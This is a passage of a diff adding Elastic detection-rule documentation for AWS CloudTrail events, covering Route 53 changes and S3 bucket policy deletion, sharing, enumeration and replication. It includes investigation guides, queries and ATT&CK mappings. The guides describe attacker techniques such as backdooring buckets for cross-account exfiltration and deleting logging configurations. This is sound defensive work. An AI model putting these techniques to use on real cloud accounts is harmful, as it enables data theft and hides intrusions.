+ +- **Internal domain restructuring** + - Organizational changes (e.g., merging AWS accounts, consolidating DNS assets) may require disabling the lock. Check + for documented work items or migration plans. + +- **Automated tooling** + - Rare but possible: Some internal automation used for domain lifecycle management may disable the lock as part of an + update. Validate that any automation using administrative API credentials is documented and approved. + + +*Response and remediation* + + +- **Re-enable the transfer lock immediately if unauthorized** + - Restore the lock from Route 53 to prevent any pending or future unauthorized transfer attempts. + +- **Contain potential credential compromise** + - If the action is suspicious, rotate credentials for the user or role involved and enforce MFA. + +- **Audit for related domain-level modifications** + - Review CloudTrail logs for: + - attempted domain transfers, + - contact profile changes, + - hosted zone modifications, + - DNS record updates, + - IAM privilege escalations. + +- **Engage internal owners** + - Notify domain owners, infosec leadership, and operations teams; determine business impact and next steps. + +- **Strengthen governance** + - Limit domain-management permissions to the minimum set of authorized administrators. + - Consider implementing AWS Organizations service control policies (SCPs) to prevent domain-level actions except + through designated accounts. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: aws.cloudtrail + and event.provider: route53domains.amazonaws.com + and event.action: DisableDomainTransferLock + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Compromise Infrastructure +** ID: T1584 +** Reference URL: https://attack.mitre.org/techniques/T1584/ +* Sub-technique: +** Name: Domains +** ID: T1584.001 +** Reference URL: https://attack.mitre.org/techniques/T1584/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-route-53-private-hosted-zone-associated-with-a-vpc.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-route-53-private-hosted-zone-associated-with-a-vpc.asciidoc new file mode 100644 index 0000000000..fcb093de43 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-route-53-private-hosted-zone-associated-with-a-vpc.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-20-aws-route-53-private-hosted-zone-associated-with-a-vpc]] +=== AWS Route 53 Private Hosted Zone Associated With a VPC + +Identifies when an AWS Route 53 private hosted zone is associated with a new Virtual Private Cloud (VPC). Private hosted zones restrict DNS resolution to specific VPCs, and associating additional VPCs expands the scope of what networks can resolve internal DNS records. Adversaries with sufficient permissions may associate unauthorized VPCs to intercept, observe, or reroute internal traffic, establish persistence, or expand their visibility within an AWS environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/Route53/latest/APIReference/API_AssociateVPCWithHostedZone.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Route 53 +* Use Case: Asset Visibility +* Tactic: Persistence +* Tactic: Resource Development +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Austin Songer +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Route 53 Private Hosted Zone Associated With a VPC* + + +Route 53 private hosted zones provide internal DNS capabilities accessible only to the VPCs explicitly associated with +them. Associating a new VPC expands DNS visibility and access. If an adversary gains sufficient IAM permissions, they may +attach unauthorized VPCs to privileged hosted zones to perform internal reconnaissance, intercept service discovery, +redirect traffic, or gain persistence by manipulating internal name resolution. + +This rule detects successful `AssociateVPCWithHostedZone` events where a hosted zone's visibility scope is modified. + + +*Possible investigation steps* + + +- **Identify the Actor** + - Review `aws.cloudtrail.user_identity.arn` and `access_key_id` to determine who initiated the association. Validate whether this identity is expected to manage Route 53 or VPC networking. + +- **Review Request Details** + - Examine `aws.cloudtrail.request_parameters` to confirm which hosted zone and VPC were associated. Determine if the hosted zone contains sensitive internal service records, privileged DNS, or identity service endpoints. + +- **Validate the VPC** + - Identify whether the associated VPC belongs to an authorized environment (e.g., known production, staging, or internal networks). Check for unusual VPC creation events, cross-account VPC behavior, or recently observed anomalous resource provisioning. + +- **Assess Source Context** + - Inspect `source.ip` and `user_agent.original` for geographic anomalies, automation patterns, or suspicious tooling. + - Look for correlations with unusual IAM activity, privilege escalations, or policy modifications. + +- **Correlate With Broader Activity** + - Search for additional changes involving the same identity, including: + - Route 53 hosted zone modifications + - VPC peering creation + - Network ACL or security group changes + - IAM privilege modifications + - Identify whether this association is part of a larger sequence suggesting lateral movement or internal reconnaissance. + +- **Engage Relevant Teams** + - If initiated by a user, confirm intent with networking or cloud infrastructure teams. Validate whether the association aligns with deployment, migration, or environment expansion activities. + + +*False positive analysis* + + +- **Routine Infrastructure Updates** + - Associations may occur during normal environment expansions (new VPC for microservices, deployments, region expansion). + +- **Automated Tooling** + - Infrastructure-as-code pipelines (Terraform, CloudFormation, CDK) may regularly modify hosted zone associations. + - If confirmed legitimate, consider excluding specific automation IAM roles. + +- **Migration or Restructuring Events** + - Large-scale cloud migrations or VPC re-architecture work may trigger frequent legitimate associations. + + +*Response and remediation* + + +- **Revoke Unauthorized Access** + - If the association is unauthorized, review and restrict IAM permissions for the actor. + - Remove the VPC association if it is not intended. + +- **Investigate Potential Impact** + - Review internal DNS query logs and VPC flow logs for any misuse, suspicious lookups, or unauthorized cross-VPC traffic. + +- **Strengthen IAM Controls** + - Limit `route53:AssociateVPCWithHostedZone` to specific administrative roles. + - Require MFA for accounts with Route 53 and VPC modification permissions. + +- **Monitor for Related Activity** + - Add monitoring for other hosted zone modifications, new VPC creation, and cross-account network configurations. + +- **Communicate and Document** + - Notify cloud networking and security operations of unauthorized changes. + - Document findings and update policy controls or automation baselines. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: aws.cloudtrail + and event.provider: route53.amazonaws.com + and event.action: AssociateVPCWithHostedZone + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Acquire Infrastructure +** ID: T1583 +** Reference URL: https://attack.mitre.org/techniques/T1583/ +* Sub-technique: +** Name: Domains +** ID: T1583.001 +** Reference URL: https://attack.mitre.org/techniques/T1583/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-bucket-configuration-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-bucket-configuration-deletion.asciidoc new file mode 100644 index 0000000000..52d5d922ff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-bucket-configuration-deletion.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-20-aws-s3-bucket-configuration-deletion]] +=== AWS S3 Bucket Configuration Deletion + +Identifies the deletion of critical Amazon S3 bucket configurations such as bucket policies, lifecycle configurations or encryption settings. These actions are typically administrative but may also represent adversarial attempts to remove security controls, disable data retention mechanisms, or conceal evidence of malicious activity. Adversaries who gain access to AWS credentials may delete logging, lifecycle, or policy configurations to disrupt forensic visibility and inhibit recovery. For example, deleting a bucket policy can open a bucket to public access or remove protective access restrictions, while deleting lifecycle rules can prevent object archival or automatic backups. Such actions often precede data exfiltration or destructive operations and should be reviewed in context with related S3 or IAM events. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketPolicy.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketReplication.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketCors.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketEncryption.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketLifecycle.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon S3 +* Use Case: Asset Visibility +* Tactic: Defense Evasion +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Configuration Deletion* + + +Amazon S3 is a scalable storage service where configurations like policies, replication, and encryption ensure data security and compliance. The detection rule monitors successful deletions of these configurations via the following APIs: `DeleteBucketPolicy`, `DeleteBucketReplication`, `DeleteBucketCors`, `DeleteBucketEncryption` or `DeleteBucketLifecycle`. These operations can be used by an adversary to remove visibility, erase governance or compliance controls, or prepare a bucket for destructive or exfiltration activity. +Deleting or disabling important configurations may hamper audit trails, hide malicious changes, or reduce the ability for recovery. The detection of these deletes is therefore a potential indicator of defense evasion or impact techniques. + + +*Possible investigation steps* + + +- **Identify the Actor and Context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.access_key_id` and `aws.cloudtrail.user_identity.type` to identify who performed the deletion. + - Determine whether the actor typically manages bucket configurations, or if this is an unusual identity for this kind of operation. + - Check `source.ip`, `user_agent.original`, `cloud.region` for anomalous behaviour (unfamiliar IPs, new tooling or region, off-hours actions). + +- **Determine the Affected Bucket and Configuration Type** + - Examine `aws.cloudtrail.request_parameters` (and `aws.cloudtrail.resources.arn`) to identify the bucket and the sub-resource that was removed. + - Determine whether the bucket is used for critical data (audit logs, backups, data warehouse). If so, the deletion is higher risk. + +- **Correlate with Other Activity to Establish Chain of Events** + - Search for preceding or concurrent CloudTrail events by the same actor or on the same bucket, e.g.: + - Removal of logging or access controls (`PutBucketLogging`, `PutBucketAcl`, `PutBucketPolicy`). + - Object-level actions soon after configuration removal (`DeleteObject`, `DeleteObjects`, `PutObject`, cross-account copy) that suggest data removal or exfiltration. + - Review for configuration additions or changes immediately prior (e.g., versioning disabled, replication removed) — could form part of a larger attack sequence. + +- **Evaluate Intent and Risk** + - Confirm whether the change is aligned with an approved change control process (maintenance, re-architecting, cost-optimization). + - If no documented justification, or if it affects buckets with sensitive or compliance-related data, treat it as potential malicious behavior. + - Prioritize buckets where configuration deletion significantly reduces visibility or recovery capability. + + +*False positive analysis* + + +- **Scheduled Maintenance or Re-architecture**: + - Valid operations may include migrating buckets, retiring services, or reorganizing storage; verify through change logs. +- **Automation/DevOps Activity**: + - Infrastructure-as-Code pipelines or lifecycle clean-up tasks may remove configurations; validate known automation scopes and service-principals. +- **Test/Development Buckets**: + - Non-production environments may frequently change bucket configurations; document and consider whitelisting accordingly. + + +*Response and remediation* + + +**Containment & Immediate Actions** +- Temporarily restrict the IAM user or role that performed the deletion, especially for `DeleteBucketPolicy`, `DeleteBucketEncryption`, or `DeleteBucketLifecycle`. +- Restore missing configurations as soon as possible (e.g., re-apply bucket policy, lifecycle rules, inventory configuration) to prevent further blind spots. + +**Investigation & Scope Assessment** +- Using CloudTrail and S3 Data Events, check object‐level activity from the timeframe immediately before and after the configuration deletion. Look for bulk deletes, new uploads, or copies to external accounts. +- Check whether other buckets in the account suffered similar configuration changes – potentially part of a wider campaign. + +**Recovery & Hardening** +- Recover affected bucket configurations and ensure they match your organizational baseline and compliance standards (e.g., logging enabled, inventory configured, lifecycle rules active). +- Enable AWS Config rules such as `s3-bucket-policy-check`, `s3-bucket-lifecycle-configuration-check`, `s3-bucket-logging-enabled` to monitor for unauthorized changes. +- Apply least‐privilege for configuration deletion permissions; segregate duties so bucket config deletion can only be done via controlled workflows and require multi-step approval. + +**Lessons Learned & Prevention** +- Conduct a post-incident review to determine root cause (credential compromise, misconfigured automation, malicious insider) and strengthen monitoring, alerting and access controls accordingly. + + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:aws.cloudtrail and + event.provider:s3.amazonaws.com and + event.action:(DeleteBucketPolicy or + DeleteBucketReplication or + DeleteBucketCors or + DeleteBucketEncryption or + DeleteBucketLifecycle) and + event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-bucket-enumeration-or-brute-force.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-bucket-enumeration-or-brute-force.asciidoc new file mode 100644 index 0000000000..b9734b5f1e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-bucket-enumeration-or-brute-force.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-20-aws-s3-bucket-enumeration-or-brute-force]] +=== AWS S3 Bucket Enumeration or Brute Force + +Identifies a high number of failed S3 operations against a single bucket from a single source address within a short timeframe. This activity can indicate attempts to collect bucket objects or cause an increase in billing to an account via internal "AccessDenied" errors. + +*Rule type*: threshold + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/@maciej.pocwierz/how-an-empty-s3-bucket-can-make-your-aws-bill-explode-934a383cb8b1 +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/ErrorCodeBilling.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Log Auditing +* Tactic: Impact +* Tactic: Discovery +* Tactic: Collection + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Enumeration or Brute Force* + + +This rule detects when many failed S3 operations (HTTP 403 AccessDenied) hit a single bucket from a single source address in a short window. This can indicate bucket name enumeration, object/key guessing, or brute-force style traffic intended to drive cost or probe for misconfigurations. 403 requests from outside the bucket owner’s account/organization are not billed, but 4XX from inside the owner’s account/org can still incur charges. Prioritize confirming who is making the calls and where they originate. + + +*Possible investigation steps* + + +- **Investigate in Timeline.** Investigate the alert in timeline (Take action -> Investigate in timeline) to retrieve and review all of the raw CloudTrail events that contributed to the threshold alert. Threshold alerts only display the grouped fields; Timeline provides a way to see individual event details such as request parameters, full error messages, and additional user context. + +- **Confirm entity & target.** Note the rule’s threshold and window. Identify the target bucket (`tls.client.server_name`) and the source (`source.address`). Verify the caller identity details via any available `aws.cloudtrail.user_identity` fields. + +- **Actor & session context.** In CloudTrail events, pivot 15–30 minutes around the spike for the same `source.address` or principal. Determine if the source is: + - **External** to your account/organization (recon/cost DDoS risk is lower for you due to 2024 billing change). + - **Internal** (same account/org)—higher cost risk and possible misuse of internal automation. + +- **Bucket posture snapshot.** Record S3 Block Public Access, Bucket Policy, ACLs, and whether Versioning/Object Lock are enabled. Capture any recent `PutBucketPolicy`, `PutPublicAccessBlock`, `PutBucketVersioning`, or lifecycle changes. + +- **Blast radius.** Check for similar spikes to other buckets/regions, or parallel spikes from the same source. Review any GuardDuty S3 findings and AWS Config drift related to the bucket or principal. + +- **Business context.** Contact the bucket/app owner. Validate whether a migration, scanner, or broken job could legitimately cause bursts. + + +*False positive analysis* + + +- **Expected jobs / broken automation.** Data movers, posture scanners, or failed credentials can generate 403 storms. Validate with `userAgent`, ARNs, change windows, and environment (dev/stage vs prod). +- **External probing.** Internet-origin enumeration often looks like uniform 403s from transient or cloud-provider IPs and typically has no business impact and no billing if outside your account/org. Tune thresholds or allowlist known scanners if appropriate. + + +*Response and remediation* + + +**Immediate, low-risk actions** +- **Preserve evidence.** Export CloudTrail records (±30 minutes) for the bucket and source address into an evidence bucket with restricted access. +- **Notify owners.** Inform the bucket/application owner and security lead; confirm any maintenance windows. + +**Containment options** +- **External-origin spikes:** Verify Block Public Access is enforced and bucket policies are locked down. Optionally apply a temporary deny-all bucket policy allowing only IR/admin roles while scoping. +- **Internal-origin spikes:** Identify the principal. Rotate access keys for IAM users, or restrict involved roles (temporary deny/SCP, remove risky policies). Pause broken jobs/pipelines until validated. + +**Scope & hunting** +- Review Timeline and CloudTrail for related events: `PutBucketPolicy`, `PutPublicAccessBlock`, `PutBucketVersioning`, lifecycle changes, unusual `PutObject`/`DeleteObject` volumes, or cross-account access. +- Check GuardDuty S3 and Config drift findings for signs of tampering or lateral movement. + +**Recovery & hardening** +- If data impact suspected: with Versioning, restore known-good versions; otherwise, recover from backups/replicas. +- Enable Versioning on critical buckets going forward; evaluate Object Lock legal hold if enabled. +- Ensure Block Public Access, least-privilege IAM policies, CloudTrail data events for S3, and GuardDuty protections are consistently enforced. + + +*Additional information* + + +- https://docs.aws.amazon.com/AmazonS3/latest/userguide/ErrorCodeBilling.html[AWS S3 billing for error responses]: see latest AWS docs on which error codes are billed. +- https://aws.amazon.com/about-aws/whats-new/2024/05/amazon-s3-no-charge-http-error-codes/[AWS announcement (Aug 2024)]: 403s from outside the account/org are not billed. +- https://github.com/aws-samples/aws-incident-response-playbooks/[AWS IR Playbooks]: NIST-aligned template for evidence, containment, eradication, recovery, post-incident. +- https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]: Practical response steps for account and bucket-level abuse. + + +==== Rule query + + +[source, js] +---------------------------------- + event.dataset: "aws.cloudtrail" and + event.provider : "s3.amazonaws.com" and + aws.cloudtrail.error_code : "AccessDenied" and + tls.client.server_name : * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Financial Theft +** ID: T1657 +** Reference URL: https://attack.mitre.org/techniques/T1657/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ +* Technique: +** Name: Cloud Storage Object Discovery +** ID: T1619 +** Reference URL: https://attack.mitre.org/techniques/T1619/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc new file mode 100644 index 0000000000..649509e4b1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-20-aws-s3-bucket-policy-added-to-share-with-external-account]] +=== AWS S3 Bucket Policy Added to Share with External Account + +Detects when an Amazon S3 bucket policy is modified to share access with an external AWS account. This rule analyzes PutBucketPolicy events and compares the S3 bucket’s account ID to any account IDs referenced in the policy’s Effect=Allow statements. If the policy includes principals from accounts other than the bucket owner’s, the rule triggers an alert. This behavior may indicate an adversary backdooring a bucket for data exfiltration or cross-account persistence. For example, an attacker who compromises credentials could attach a policy allowing access from an external AWS account they control, enabling continued access even after credentials are rotated. Note: This rule will not alert if the account ID is part of the bucket’s name or appears in the resource ARN. Such cases are common in standardized naming conventions (e.g., “mybucket-123456789012”). To ensure full coverage, use complementary rules to monitor for suspicious PutBucketPolicy API requests targeting buckets with account IDs embedded in their names or resources. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.s3-backdoor-bucket-policy/ +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketPolicy.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Policy Added to Share with External Account* + + +This rule detects when an S3 bucket policy is modified using the `PutBucketPolicy` API call to include an external AWS account ID. +It compares the bucket’s `recipient_account_id` to any account IDs included in the policy’s `Effect=Allow` statement, triggering +an alert if the two do not match. + +Adversaries may exploit this to backdoor a bucket and exfiltrate sensitive data by granting permissions to another AWS account +they control, enabling ongoing access to the bucket’s contents even if IAM credentials are rotated or revoked. + +This detection specifically focuses on policy-based sharing and does not alert when: +- The account ID appears within the bucket or object name being shared. +- The account owner explicitly matches the policy’s condition keys on something other than an ARN or account id (i.e. IP address). + +To fully monitor for suspicious sharing behavior, use this rule in combination with detections for: +- Unusual PutBucketPolicy requests +- Cross-account object access (e.g., `GetObject`, `PutObject`) +- Changes to bucket ACLs or access points + + +*Possible investigation steps* + + +- **Identify the Actor and Context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify who made the change. + - Determine if the identity typically manages S3 bucket policies. + - Examine `aws.cloudtrail.resources.arn` to determine which bucket is being shared. + +- **Analyze the Policy Change** + - Review `aws.cloudtrail.request_parameters` to extract the policy JSON and identify the external AWS account ID(s) referenced. + - Check for `Effect=Allow` statements granting broad permissions such as `"Action": "s3:*"` or `"Resource": "*"`. + - Verify if the added principals correspond to known partners or external vendors. + - If AWS account ID(s) were only part of `Effect=Deny` statements, then this rule can be closed as a false positive. + +- **Review Context and Source** + - Check `source.ip`, `source.geo`, and `user_agent.original` for anomalies — such as new IP ranges, access from unfamiliar geographies, or use of programmatic clients (`boto3`, `aws-cli`). + +- **Correlate with Related Activity** + - Search CloudTrail for subsequent activity by the external AWS account ID(s): + - `GetObject`, `ListBucket`, or `PutObject` events that indicate data access or exfiltration. + - Look for additional configuration changes by the same actor, such as: + - `PutBucketAcl`, `PutBucketVersioning`, or `PutBucketReplication` — often part of a larger bucket compromise chain. + - Determine if multiple buckets were modified in quick succession. + +- **Validate Intent** + - Review internal change requests or documentation to confirm whether this external sharing was approved. + - If no approval exists, escalate immediately for potential compromise. + + +*False positive analysis* + + +- **Authorized Cross-Account Access** + - Some organizations legitimately share S3 buckets across accounts within a trusted AWS Organization or partner accounts. + - Validate whether the external account ID belongs to a known entity or service provider and is documented in your allowlist. +- **Automation or Deployment Pipelines** + - Continuous integration/deployment pipelines may temporarily attach cross-account policies for replication or staging. + - Verify the `user_agent.original` or role name — automation often includes identifiable strings. +- **Naming and Rule Logic Limitations** + - This rule excludes detections where the account ID appears in the bucket resource ARN (e.g., `mybucket-123456789012`). + - Such patterns are common in automated provisioning. For those scenarios, rely on complementary rules that directly monitor `PutBucketPolicy` events against those buckets. + + +*Response and remediation* + + +- **Immediate Review and Containment** + - If unauthorized sharing is confirmed, use the AWS CLI or Console to delete or revert the modified policy (`aws s3api delete-bucket-policy` or restore from version control). + - Remove external principals and reapply the correct bucket policy. + - Rotate access keys for the actor involved, especially if API access came from unexpected locations or tools. + +- **Investigation and Scoping** + - Identify whether data was accessed by the external account via `GetObject` or `ListBucket` operations. + - Search CloudTrail logs for other buckets modified by the same actor or IP within the same timeframe. + - Use AWS Config to review version history of affected bucket policies and detect similar cross-account permissions. + +- **Recovery and Hardening** + - Restrict `s3:PutBucketPolicy` to a limited set of administrative roles using least privilege. + - Enable AWS Config rule `s3-bucket-policy-grantee-check` to monitor for unauthorized policy additions. + - Use AWS GuardDuty or Security Hub findings to correlate policy changes with data exfiltration or credential compromise events. + - Apply service control policies (SCPs) to block cross-account sharing unless explicitly approved. + + +*Additional information* + + - **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** + - **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + - **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where event.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutBucketPolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Effect=Allow") + and ( + stringContains(aws.cloudtrail.request_parameters, "AWS=") or + stringContains(aws.cloudtrail.request_parameters, "aws:PrincipalAccount=") or + stringContains(aws.cloudtrail.request_parameters, "aws:SourceAccount=") + ) +and not stringContains(aws.cloudtrail.request_parameters, "arn:aws:cloudfront::") +and not stringContains(aws.cloudtrail.request_parameters, "arn:aws:iam::cloudfront:user") +and not stringContains(aws.cloudtrail.request_parameters, aws.cloudtrail.recipient_account_id) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-bucket-replicated-to-another-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-bucket-replicated-to-another-account.asciidoc new file mode 100644 index 0000000000..5b869a3737 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-bucket-replicated-to-another-account.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-20-aws-s3-bucket-replicated-to-another-account]] +=== AWS S3 Bucket Replicated to Another Account + +Identifies the creation or modification of an S3 bucket replication configuration that sends data to a bucket in a different AWS account. Cross-account replication can be used legitimately for backup, disaster recovery, and multi-account architectures, but adversaries with write access to an S3 bucket may abuse replication rules to silently exfiltrate large volumes of data to attacker-controlled accounts. This rule detects 